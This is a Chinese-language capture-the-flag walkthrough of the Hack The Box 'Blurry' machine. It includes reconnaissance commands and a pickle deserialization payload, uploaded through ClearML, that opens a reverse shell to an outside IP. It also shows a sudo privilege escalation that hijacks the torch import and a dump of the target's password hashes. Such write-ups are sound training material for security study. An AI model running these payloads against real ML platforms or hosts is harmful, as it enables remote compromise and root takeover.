扫描靶机
nmap -p 1-65535 -T4 -A -v 10.10.11.19
得到了一个app.blurry.htb的子域名,写到hsots,然后打开
随便输入一个名字,直接登录进去
这是一个叫ClearML开源平台,集成了机器学习项目各个阶段的功能,包括实验跟踪、数据管理、模型部署和资源编排,不知道可以参考这篇文章
https://clear.ml/docs/latest/docs/
https://clear.ml/docs/latest/docs/getting_started/mlops/mlops_first_steps/
https://github.com/allegroai/clearml
然后fuzz一下子域名
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://blurry.htb" -H "Host: FUZZ.blurry.htb" --hc 404 --hl 7
跑出了,这几个子域名,全都写到host里面,打开看一下
{"meta":{"id":"14743625bf9f417991e704640e0e0c9a","trx":"14743625bf9f417991e704640e0e0c9a","endpoint":{"name":"","requested_version":1.0,"actual_version":null},"result_code":400,"result_subcode":0,"result_msg":"Invalid request path /","error_stack":null,"error_data":{}},"data":{}}
就只有api那个子域名麻烦一点,直接返回api信息,但是是错误,回到app子域名,根据上面的文章,先安装模块
安装完,底下有个CREATE NEW CREDENTIALS的按钮,点击后会自动新建属于你的api接口
可以参考这篇文章来反弹shell
https://hiddenlayer.com/research/weaponizing-machine-learning-models-with-ransomware/#Pickle-Code-Injection-POC
本地安装完clearML的模块后直接打开,先设置好clearconf配置文件,就是将网站上的api接口配置到本地
设置好后api接口,根据上面的poc写一段反弹shell的代码
import pickle, os # 导入 pickle 库用于对象序列化,os 库用于执行操作系统命令
class RunCommand:
def __reduce__(self):
# 当尝试序列化 RunCommand 对象时,__reduce__ 方法定义了如何重建该对象。
# 这里指定使用 os.system 函数执行一个 bash 命令,该命令尝试建立一个反向 shell 连接到指定的 IP 和端口。
return (os.system, ('/bin/bash -c "/bin/bash -i >& /dev/tcp/172.31.105.148/443 0>&1"',))
command = RunCommand() # 创建 RunCommand 类的一个实例
from clearml import Task # 从 clearml 库导入 Task 类,用于任务管理和跟踪
task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=["review"])
# 初始化一个 ClearML 任务,指定项目名、任务名和标签
# 将 command 对象上传为一个 ClearML 任务的工件(artifact),这个对象被序列化为一个 .pkl 文件。
# 设置重试次数为2次,等待上传完成。
task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True, extension_name=".pkl")
然后直接运行,成功反弹shell
直接拿到了user flag,输入sudo -l查看提权信息
分析一下/usr/bin/evaluate_model这个文件,就是一个bash脚本,设计用来对一个给定的 PyTorch 模型进行评估,同时包括安全检查以确保模型文件不包含恶意组件,对该脚本进行分析
# 评估给定模型对我们的专有数据集的性能。
# 包括对模型文件的安全检查。
# 检查是否正好给了一个参数
if [ "$#" -ne 1 ]; then
/usr/bin/echo "Usage: $0 <path_to_model.pth>" # 如果参数数量不正确,打印用法
exit 1 # 退出并返回错误代码
fi
MODEL_FILE="$1" # 将第一个参数指定为模型文件路径
TEMP_DIR="/models/temp" # 定义一个用于处理的临时目录
PYTHON_SCRIPT="/models/evaluate_model.py" # 定义评估脚本的路径
/usr/bin/mkdir -p "$TEMP_DIR" # 确保临时目录存在
file_type=$(/usr/bin/file --brief "$MODEL_FILE") # 确定文件的类型
# 根据文件类型进行解压
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
# 处理 POSIX tar 归档(较旧的 PyTorch 格式)
/usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
# 处理 Zip 归档(较新的 PyTorch 格式)
/usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
/usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
exit 2 # 如果文件格式既不是 tar 也不是 zip,则退出
fi
# 在临时目录中搜索潜在的恶意 pickle 文件
/usr/bin/find "$TEMP_DIR" -type f ( -name "*.pkl" -o -name "pickle" ) -print0 | while IFS= read -r -d $'�' extracted_pkl; do
fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")
# 检查 fickling 是否识别出内容为公然恶意
if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
/usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
/bin/rm "$MODEL_FILE" # 如果发现恶意内容,则删除模型文件
break
fi
done
# 清理:删除 TEMP_DIR 中的所有文件,并移除目录本身
/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"
# 如果模型文件仍然存在,认为它是安全的
if [ -f "$MODEL_FILE" ]; then
/usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
/usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE" # 在安全的模型文件上执行评估脚本
fi
脚本检查模型文件格式,并将其解压到临时目录中。使用 fickling 工具分析任何提取的 .pkl 文件中是否含有明显的恶意内容,发现危险模型则删除。如果模型通过安全检查,将继续进行评估,通过运行 Python 脚本处理。脚本谨慎地进行清理操作,确保系统中不留下任何临时文件或潜在危险的模型。进去到/models目录里面查看一下
只有两个文件,一个demo_model.pth,一个evaluate_model.py,可以分析一下
import torch
import torch.nn as nn
from torchvision import transforms
from torchvision.datasets import CIFAR10
from torch.utils.data import DataLoader, Subset
import numpy as np
import sys
class CustomCNN(nn.Module):
# 定义一个自定义的卷积神经网络模型
def __init__(self):
super(CustomCNN, self).__init__()
# 第一层卷积层,输入通道为3(RGB图像),输出通道为16,使用3x3卷积核,边缘填充1
self.conv1 = nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, padding=1)
# 第二层卷积层,输入通道为16,输出通道为32,使用3x3卷积核,边缘填充1
self.conv2 = nn.Conv2d(in_channels=16, out_channels=32, kernel_size=3, padding=1)
# 最大池化层,使用2x2池化窗口,步长为2
self.pool = nn.MaxPool2d(kernel_size=2, stride=2, padding=0)
# 第一个全连接层,输入特征维度为32*8*8,输出特征维度为128
self.fc1 = nn.Linear(in_features=32 * 8 * 8, out_features=128)
# 第二个全连接层,输入特征维度为128,输出特征维度为10(对应CIFAR-10的10个类别)
self.fc2 = nn.Linear(in_features=128, out_features=10)
# 激活函数ReLU
self.relu = nn.ReLU()
def forward(self, x):
# 前向传播过程
x = self.pool(self.relu(self.conv1(x))) # 对第一层卷积的输出进行ReLU激活和池化
x = self.pool(self.relu(self.conv2(x))) # 对第二层卷积的输出进行ReLU激活和池化
x = x.view(-1, 32 * 8 * 8) # 展平特征图
x = self.relu(self.fc1(x)) # 第一个全连接层的ReLU激活
x = self.fc2(x) # 第二个全连接层的输出
return x
def load_model(model_path):
# 载入模型
model = CustomCNN()
state_dict = torch.load(model_path) # 加载模型参数
model.load_state_dict(state_dict)
model.eval() # 设置为评估模式
return model
def prepare_dataloader(batch_size=32):
# 准备数据加载器
transform = transforms.Compose([
transforms.RandomHorizontalFlip(), # 随机水平翻转图像
transforms.RandomCrop(32, padding=4), # 随机裁剪图像
transforms.ToTensor(), # 将图像转换为Tensor
transforms.Normalize(mean=[0.4914, 0.4822, 0.4465], std=[0.2023, 0.1994, 0.2010]), # 归一化
])
dataset = CIFAR10(root='/root/datasets/', train=False, download=False, transform=transform) # 加载CIFAR-10测试集
subset = Subset(dataset, indices=np.random.choice(len(dataset), 64, replace=False)) # 随机选择64个样本
dataloader = DataLoader(subset, batch_size=batch_size, shuffle=False) # 创建数据加载器
return dataloader
def evaluate_model(model, dataloader):
# 评估模型
correct = 0
total = 0
with torch.no_grad(): # 不计算梯度
for images, labels in dataloader:
outputs = model(images) # 获取模型输出
_, predicted = torch.max(outputs.data, 1) # 获取预测结果
total+= labels.size(0) # 更新总样本数
correct += (predicted == labels).sum().item() # 计算正确预测的数量
accuracy = 100 * correct / total # 计算准确率
print(f'[+] Accuracy of the model on the test dataset: {accuracy:.2f}%') # 输出准确率
def main(model_path):
model = load_model(model_path) # 载入模型
print("[+] Loaded Model.")
dataloader = prepare_dataloader() # 准备数据加载器
print("[+] Dataloader ready. Evaluating model...")
evaluate_model(model, dataloader) # 评估模型
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python script.py <path_to_model.pth>") # 检查命令行参数
else:
model_path = sys.argv[1] # 获取模型文件路径
main(model_path)
这个脚本定义了一个自定义的卷积神经网络(CNN)模型,并使用 CIFAR-10 数据集对其进行评估,可以用于验证特定模型在处理小图像数据集时的性能。它也展示了使用 PyTorch 框架进行深度学习模型开发和评估的基本流程,可以利用python劫持torch,从而提权
而且models拥有写入的权限,接下来使用劫持python库获得提权,新建一个py,然后直接运行
echo 'import os; os.system("bash")' > /models/torch.py
sudo /usr/bin/evaluate_model /models/demo_model.pth
成功拿到了root flag
root:$y$j9T$HKjGxAyjzW3lmf/HmZafW0$fgkQykeZSlRYHzR8zHjMVQrRUzwM3xSvA0koPgt6TQ6:19770:0:99999:7:::
daemon:*:19668:0:99999:7:::
bin:*:19668:0:99999:7:::
sys:*:19668:0:99999:7:::
sync:*:19668:0:99999:7:::
games:*:19668:0:99999:7:::
man:*:19668:0:99999:7:::
lp:*:19668:0:99999:7:::
mail:*:19668:0:99999:7:::
news:*:19668:0:99999:7:::
uucp:*:19668:0:99999:7:::
proxy:*:19668:0:99999:7:::
www-data:*:19668:0:99999:7:::
backup:*:19668:0:99999:7:::
list:*:19668:0:99999:7:::
irc:*:19668:0:99999:7:::
gnats:*:19668:0:99999:7:::
nobody:*:19668:0:99999:7:::
_apt:*:19668:0:99999:7:::
systemd-network:*:19668:0:99999:7:::
systemd-resolve:*:19668:0:99999:7:::
messagebus:*:19668:0:99999:7:::
systemd-timesync:*:19668:0:99999:7:::
sshd:*:19668:0:99999:7:::
systemd-coredump:!*:19668::::::
jippity:$y$j9T$WUn.W06MZ94pp.Zq4HANr/$UAdCX7HojvUwcmzTO6.xcwCWvxrKneaoRAPqpFf1G6D:19770:0:99999:7:::
_laurel:!:19871::::::
原文始发于微信公众号(Jiyou too beautiful):HTB-Blurry笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论